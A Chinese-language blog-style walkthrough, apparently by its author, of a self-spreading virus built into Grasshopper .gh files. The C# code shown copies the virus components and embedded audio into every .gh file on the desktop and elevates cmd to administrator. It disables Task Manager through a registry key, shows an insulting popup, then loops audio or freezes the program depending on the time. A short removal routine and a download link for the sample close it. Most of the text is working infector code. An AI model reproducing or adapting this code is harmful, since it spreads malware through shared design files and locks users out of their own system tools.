特点:病毒本身仅仅只是一个gh文件。与普通的gh文件没什么区别。
打开一个被感染的gh文件,桌面上所有gh文件均会被感染(仅仅直接放在桌面上的gh文件会被感染,放在桌面文件夹里的gh文件不会被感染),打开gh文件后,判断当前时间。如果当前时间的分钟小于20,自动播放音乐(音乐是在gh文件中的)。如果大于20。文件卡死。同时禁用任务管理器。
被感染的gh文件同样具有感染性。
这几天。我们被maya的一个脚本文件给刷屏了。
maya工程文件可以携带脚本。所以就直接把病毒写在maya场景文件中,然后自动加载就可以了。
grasshopper也同样。而且,grasshopper更加强大!!!!grasshopper本身,是可以携带二进制比特数据的。如下图,我们用GH_Writer 向grasshopper写入数据。
也就是说,gh文件本身,可以携带图片,音乐,甚至是exe,dll文件!
在本例中,我用了一段音乐。
首先,如上图,读取音频,保存为二进制比特数据。
string zhuo = System.Environment.GetFolderPath(System.Environment.SpecialFolder.Desktop);
DirectoryInfo di = new DirectoryInfo(zhuo);
foreach (FileInfo fi in di.GetFiles("*.gh"))
{
F.Add(Path.GetFileName(fi.Name));
}
然后,遍历桌面,寻找后缀名为gh的文件,写入一个列表
foreach(string q in F)
{
bool d = true;
GH_Document aa = Grasshopper.Instances.DocumentServer.AddDocument(zhuo + "" + q, false);
根据文件路径,创建GH_Document.
foreach (GH_DocumentObject i in Grasshopper.Instances.ActiveCanvas.Document.ActiveObjects())
{
if (d)
{
if (i.NickName == "pu" || i.NickName == "tian" || i.NickName == "tongqing" || i.NickName == "tong" || i.NickName == "qing")
{
aa.AddObject(i, true, a);
a += 1;}
}}
寻找当前文档的c#病毒组件。写入GH_Document..
GH_Archive arc = new GH_Archive();
arc.ReadFromFile(GrasshopperDocument.FilePath);
GH_Chunk root2 = arc.GetRootNode;
GH_IReader reader2 = root2.FindChunk("CustomData");
byte[] yindang = reader2.GetByteArray("yinjiao", 1);
writer.SetByteArray("yinjiao", 1, yindang);}
通过GH_IO序列化和反序列化向遍历的gh中写入CustomData,即向grasshopper文件中保存二进制的音频数据。
此时,我们就已经向桌面的所有gh文件中写入音频数据了。
我们自己写的代码初始化音频数据是需要用一个绝对路径的,但是桌面上的文档一旦有音频数据,就可以用他本身文档的音频数据,以及自身的病毒c#代码组件,写入其他未被感染的gh文件。从而实现“被感染的文件同样具有感染性”
if(fs != null)
{
//GH_IReader reader = root.FindChunk("CustomData");
writer.SetByteArray("yinjiao", 1, bbb);
GH_Archive arc3 = new GH_Archive();
arc3.ReadFromFile(GrasshopperDocument.FilePath);
GH_Chunk root3 = arc3.GetRootNode;
if(!root3.ItemExists("CustomData")){
GH_IWriter writer3 = root3.CreateChunk("CustomData");
writer3.SetByteArray("yinjiao", 1, bbb);
}
else {
GH_Archive arc = new GH_Archive();
arc.ReadFromFile(GrasshopperDocument.FilePath);
GH_Chunk root2 = arc.GetRootNode;
GH_IReader reader2 = root2.FindChunk("CustomData");
byte[] yindang = reader2.GetByteArray("yinjiao", 1);
writer.SetByteArray("yinjiao", 1, yindang);}
如上图,根据有没有路径,判断是处于调试状态还是感染状态。
在另一个c#脚本中,我们首先是通过以管理员身份改注册表键值对的方法,禁用任务管理器。
public int runCmd()
{
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.WorkingDirectory = Environment.CurrentDirectory;
if (nType == 2){
try{
p.StartInfo.Verb = "runas";
p.StartInfo.UseShellExecute = true; //是否使用操作系统shell启动
p.StartInfo.RedirectStandardInput = false;//接受来自调用程序的输入信息
p.StartInfo.CreateNoWindow = true;//不显示程序窗口
提升cmd进程的权限,使之以i管理员身份运行。
string e = "reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d 00000001 /f";
cmd.sCmdCode = e;
cmd.runCmd();
向注册表中以覆盖写模式添加键值对。其中,00000001为禁用任务管理器,00000000为启用。
MessageBox.Show("学习,学个屁。你他娘的还真是个天才");
int sss = 0;
弹窗。
GH_Archive arc = new GH_Archive();
arc.ReadFromFile(GrasshopperDocument.FilePath);
GH_Chunk root2 = arc.GetRootNode;
GH_IReader reader2 = root2.FindChunk("CustomData");
byte[] yindang = reader2.GetByteArray("yinjiao", 1);
System.IO.FileStream fss2 = new System.IO.FileStream("155555.wav", FileMode.Create);
fss2.Write(yindang, 0, yindang.Length);
fss2.Position = 0;
System.Media.SoundPlayer media = new System.Media.SoundPlayer(fss2);
寻找当前文档中的音频数据,转换为数据流。并用System.Media.SoundPlayer来加载数据流。
int sss=0;
if((Convert.ToInt32(DateTime.Now.Minute.ToString())) <= 20)
{
media.PlayLooping();}
else{
fss2.Close();
while(sss >= 0)
{
}
}
判断当前系统时间,如果分针小于等于20,一直播放声音。否则无限循环假死。
解密:
foreach (GH_DocumentObject j in aa.ActiveObjects())
{
if (j.NickName == "pu" || j.NickName == "tian" || j.NickName == "tongqing" || j.NickName == "tong" || j.NickName == "qing")
{
if (q != "jie.gh")
{
aa.Objects.Remove((IGH_DocumentObject) j);
}
d = false;
}
}
int a = 0;
删除病毒组件即可
病毒样本及其解密:
链接:https://pan.baidu.com/s/1O9qT8A9x-QD-EfC_25L_ew
提取码:jlr8